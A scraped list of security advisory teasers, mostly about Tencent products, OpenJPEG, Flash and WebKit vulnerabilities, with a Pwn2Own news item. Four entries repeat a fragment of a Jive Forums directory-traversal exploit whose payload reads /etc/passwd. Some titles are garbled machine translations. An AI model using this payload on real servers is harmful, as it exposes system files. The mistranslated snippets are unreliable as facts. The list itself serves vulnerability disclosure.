Tencent QQ group system has design logic loopholes

Tencent QQ is an Internet-based instant messaging IM software. There is a design logic vulnerability in the Tencent QQ group system that allows an attacker to modify form information to lower the QQ group level...

flashplugin: multiple issues

CVE-2016-4274, CVE-2016-4275, CVE-2016-4276, CVE-2016-4280, CVE-2016-4281, CVE-2016-4282, CVE-2016-4283, CVE-2016-4284, CVE-2016-4285, CVE-2016-6922, CVE-2016-6924 arbitrary code execution Multiple Memory corruption vulnerabilities that could lead to arbitrary code execution have been found...

Internet Bug Bounty: CVE-2016-3182 OpenJPEG color_esycc_to_rgb Out-of-Bounds Read Vulnerability

CVE-2016-3182 OpenJPEG coloresycctorgb Out-of-Bounds Read Vulnerability 1. About OpenJPEG OpenJPEG is an open-source JPEG 2000 codec written in C language. It's widely used in lots of Linux OSes such as Ubuntu, RedHat, Debian, Fedora, and so on. The official repository of the OpenJPEG project is...

Internet Bug Bounty: CVE-2016-7163 OpenJPEG opj_pi_create_decode Integer Overflow Vulnerability

OpenJPEG opjpicreatedecode Integer Overflow Vulnerability 1. About OpenJPEG OpenJPEG is an open-source JPEG 2000 codec written in C language. It's widely used in lots of Linux OSes such as Ubuntu, RedHat, Debian, Fedora, and so on. The official repository of the OpenJPEG project is available at...

openjpeg -- multiple vulnerabilities

Tencent's Xuanwu LAB reports: A Heap Buffer Overflow Out-of-Bounds Write issue was found in function opjdwtinterleavev of dwt.c. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of OpenJPEG. An integer overflow issue exists in function...

Tencent QQ Android APP suffers from XSS cross-site scripting vulnerability

Tencent QQ is an Internet-based instant messaging IM software. An XSS cross-site scripting vulnerability exists in the "Tencent News" input box in the Android version of the product, which can be exploited by an attacker to perform a cross-site scripting attack to obtain sensitive information suc...

QQPlayer Integer Overflow Vulnerability

QQPlayer is the latest movie and TV player from Tencent. QQPlayer supports any format of movie and music files as a local player. The QQPlayer program fails to properly handle the datalen field of the strf structure when parsing avi files, triggering a shaping overflow vulnerability when the leng...

Wechat discovered arbitrary code execution vulnerability 3 6 0 mobile Guard provides a self-test programme-vulnerability warning-the black bar safety net

Recently, the 3 6 0 mobile Guard Alpha team-Alpha Team exclusive found wechat remote arbitrary code execution vulnerability, which was named badkernel it. 3 6 0 mobile Guard Alpha team found, through this vulnerability an attacker may access the micro-channel full control, compromise the user's...

“AC”triggered“bloodshed”-vulnerability warning-the black bar safety net

This month Microsoft released 6-months security update, fixes a high risk vulnerability. It can affect from Windows 9 5 to Windows 10 all editions of theoperating system. The vulnerability by Tencent basaltic laboratory finding, and is named BadTunnel it. Thus, the great TK guru again and again...

QQ browser privacy disclosure report-vulnerability warning-the black bar safety net

0x00 description QQ browser is Tencent development of a web browser, for Android, Windows, Mac and iOS and other platforms. Compared to the built-in browser, QQ browser provides richer functionality, for example, increase the tag window, and integrating the chat platform, etc. In the report a...

webkit2gtk: arbitrary code execution

WebKitGTK+ allows remote attackers to execute arbitrary code or cause a denial of service memory corruption via a crafted web site, a different vulnerability than CVE-2016-1854, CVE-2016-1855, and CVE-2016-1856. Credit to Jeonghoon Shin at A.D.D and Liang Chen, Zhen Feng, wushi of KeenLab, Tencen...

Pwn2Own Day Two: Safari, Microsoft Edge Go Down Winner Announced

In the end, it was a nail-biter pitting Tencent Security Team Sniper KeenLab and PC Manager against JungHoon Lee lokihardt for the title of Master of Pwn for Pwn2Own 2016. After a tense last two minutes of the competition, it was Tencent Security Team Sniper and its successful code execution of a...

Jive Forums 5.5.25 Directory Traversal

JiveForums " print " Usage: %s http://localhost /jiveforums/" % sys.argv0 sys.exit payload = 'servlet/JiveServlet?attachImage=true&attachment=/.././.././.././.././.././.././.././../etc/./passwd%00&contentType=image%2Fpjpeg' print "+ Trying to request :"+sys.argv1+sys.argv2+paylo...

Jive Forums 5.5.25 - Directory Traversal

Exploit for jsp platform in category web applications ''' JiveForums " print " Usage: %s http://localhost /jiveforums/" % sys.argv0 sys.exit payload = 'servlet/JiveServlet?attachImage=true&attachment=/.././.././.././.././.././.././.././../etc/./passwd%00&contentType=image%2Fpjpeg' print "+ Trying...

Jive Forums 5.5.25 - Directory Traversal

Jive Forums 5.5.25 - Directory Traversal ''' JiveForums " print " Usage: %s http://localhost /jiveforums/" % sys.argv0 sys.exit payload = 'servlet/JiveServlet?attachImage=true&attachment=/.././.././.././.././.././.././.././../etc/./passwd%00&contentType=image%2Fpjpeg' print "+ Trying to request...

Jive Forums 5.5.25 - Directory Traversal

''' JiveForums " print " Usage: %s http://localhost /jiveforums/" % sys.argv0 sys.exit payload = 'servlet/JiveServlet?attachImage=true&attachment=/.././.././.././.././.././.././.././../etc/./passwd%00&contentType=image%2Fpjpeg' print "+ Trying to request :"+sys.argv1+sys.argv2+payload...

Nexus Security Bulletin - February 2016Stay organized with collectionsSave and categorize content based on your preferences.

We have released a security update to Nexus devices through an over-the-air OTA update as part of our Android Security Bulletin Monthly Release process. The Nexus firmware images have also been released to the Google Developer site. Builds LMY49G or later and Android M with Security Patch Level o...

Three years ago the libupnp library vulnerabilities, Tencent QQ music finally fix it-vulnerability warning-the black bar safety net

Since 3 years ago of a vulnerability, today there is still 6 1 0 million units of the device may be remote code execution, including smartphones, routers, Smart TV, etc., and this vulnerability as early as 3 years ago has been fixed. The vulnerability exists in the UPnP™device is a portable SDK,...

The old hole new:Tencent location and presence of the vulnerability can be remotely shut down each other phone and QQ-vulnerability warning-the black bar safety net

! ! The last two pictures is there TSRC watermark, because the before picture is not, directly paste TSRC inside...

Technology uncovered“QQ space”to automatically forward adverse information-vulnerability warning-the black bar safety net

We often see the QQ space to automatically forward some of the included links to bad information, even if we QQ password has not been stolen. The recent adoption of a QQ space automatically forwarding the link for analysis, found that the automatic forwarding mechanism through the use of the...